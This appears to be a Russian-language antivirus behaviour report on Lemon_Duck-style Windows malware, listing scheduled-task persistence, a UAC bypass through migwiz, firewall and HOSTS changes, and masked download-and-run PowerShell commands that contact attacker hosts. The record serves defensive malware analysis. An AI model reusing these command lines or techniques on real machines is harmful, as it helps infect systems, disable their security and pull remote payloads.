Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\bluetea
- <SYSTEM32>\tasks\xa7luztqe5n
- <SYSTEM32>\tasks\ubsl82v\pysd4x50
- <SYSTEM32>\tasks\microsoft\windows\sgoka64f\w3fanztp
- <SYSTEM32>\tasks\rei1y8jb
- <SYSTEM32>\tasks\mwosaprgfc\1vvjhsycz
- <SYSTEM32>\tasks\microsoft\windows\yifyxnbp\whoxguhyk2a
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Центр обеспечения безопасности (Security Center)
Загружает и запускает на исполнение
- http://t.##cna.com/mail.jsp?do#####################################################
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\k9sxyu08prygrix.sct
- %WINDIR%\temp\d0_a4nc3.dll
- %WINDIR%\temp\resbb15.tmp
- %WINDIR%\temp\cscbb05.tmp
- %WINDIR%\temp\d0_a4nc3.pdb
- %WINDIR%\temp\d0_a4nc3.out
- %WINDIR%\temp\d0_a4nc3.cmdline
- %WINDIR%\temp\d0_a4nc3.0.cs
- %WINDIR%\temp\if.bin
- <SYSTEM32>\migwiz\$dpx$.tmp\935543823559b3458483a20369da313f.tmp
- %TEMP%\cab_2748_5
- %TEMP%\cab_2748_6
- %TEMP%\cab_2748_4
- %TEMP%\cab_2748_2
- %TEMP%\cab_2748_3
- %TEMP%\wdscore.dll
- %WINDIR%\temp\cmd.bat
- %TEMP%\uac.cab
- %WINDIR%\temp\m6.bin
Удаляет следующие файлы
- %TEMP%\cab_2748_2
- %TEMP%\cab_2748_3
- %TEMP%\cab_2748_4
- %TEMP%\cab_2748_5
- %TEMP%\cab_2748_6
- %TEMP%\uac.cab
- %TEMP%\wdscore.dll
- %TEMP%\k9sxyu08prygrix.sct
- %WINDIR%\temp\resbb15.tmp
- %WINDIR%\temp\cscbb05.tmp
- %WINDIR%\temp\d0_a4nc3.0.cs
- %WINDIR%\temp\d0_a4nc3.out
- %WINDIR%\temp\d0_a4nc3.pdb
- %WINDIR%\temp\d0_a4nc3.cmdline
- %WINDIR%\temp\d0_a4nc3.dll
Перемещает следующие файлы
- <SYSTEM32>\migwiz\$dpx$.tmp\935543823559b3458483a20369da313f.tmp в <SYSTEM32>\migwiz\wdscore.dll
Изменяет файл HOSTS.
Сетевая активность
Подключается к
- 't.##cna.com':80
TCP
Запросы HTTP GET
- http://t.##cna.com/7p.php
- http://t.##cna.com/mail.jsp?do###############
- http://t.##cna.com/x.js
- http://t.##cna.com/x.jsp?ma#######################################################################################################
- http://t.##cna.com/report.jsp?wf#################################################################################################################################################################...
- http://20#.#54.225.82/if_mail.bin?wf#############################################################################################################################################################...
- http://20#.#54.225.82/if.bin?wf############################################################
- http://20#.#54.225.82/m6.bin?wf############################################################
- http://sz###4ahjl.jp/w.js
UDP
- DNS ASK t.##cna.com
- DNS ASK t.##2q.com
- DNS ASK t.##ynx.com
- DNS ASK lp##.ackng.com
- DNS ASK dm###fjsnqg.cn
- DNS ASK as###u0hsy.kr
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\xA7LUZTqE5n';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='UbSL82V\pYSd4X50';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::C...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\Sgoka64f\W3FAnztp';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\Rei1Y8Jb';$x='dm5Yc'+'FjSNqg.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='mwOsAPrgFC\1Vvjhsycz';$x='SZY6V'+'4ahJl.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http:...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\yifYxnBp\wHOxguhYk2A';$x='aSDwb'+'U0HsY.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\d0_a4nc3.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBB15.tmp" "%WINDIR%\Temp\CSCBB05.tmp"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\makecab.exe' %TEMP%\wdscore.dll %TEMP%\uac.cab
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.225...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='mwOsAPrgFC\1Vvjhsycz';$x='SZY6V'+'4ahJl.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http:...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\yifYxnBp\wHOxguhYk2A /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\yifYxnBp\wHOxguhYk2A
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\yifYxnBp\wHOxguhYk2A';$x='aSDwb'+'U0HsY.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
- '<SYSTEM32>\schtasks.exe' /run /tn UbSL82V\pYSd4X50
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\d0_a4nc3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBB15.tmp" "%WINDIR%\Temp\CSCBB05.tmp"
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\schtasks.exe' /run /tn mwOsAPrgFC\1Vvjhsycz
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.225...
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn mwOsAPrgFC\1Vvjhsycz /F /tr "powershell PS_CMD"
- '<SYSTEM32>\migwiz\migwiz.exe'
- '<SYSTEM32>\cmd.exe' /c "%WINDIR%\temp\cmd.bat"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \xA7LUZTqE5n /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \xA7LUZTqE5n
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\xA7LUZTqE5n';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn UbSL82V\pYSd4X50 /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\Sgoka64f\W3FAnztp /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\Sgoka64f\W3FAnztp
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\Sgoka64f\W3FAnztp';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \Rei1Y8Jb /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \Rei1Y8Jb
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\Rei1Y8Jb';$x='dm5Yc'+'FjSNqg.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
- '<SYSTEM32>\wusa.exe' %TEMP%\uac.cab /extract:<SYSTEM32>\migwiz\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='UbSL82V\pYSd4X50';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::C...
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
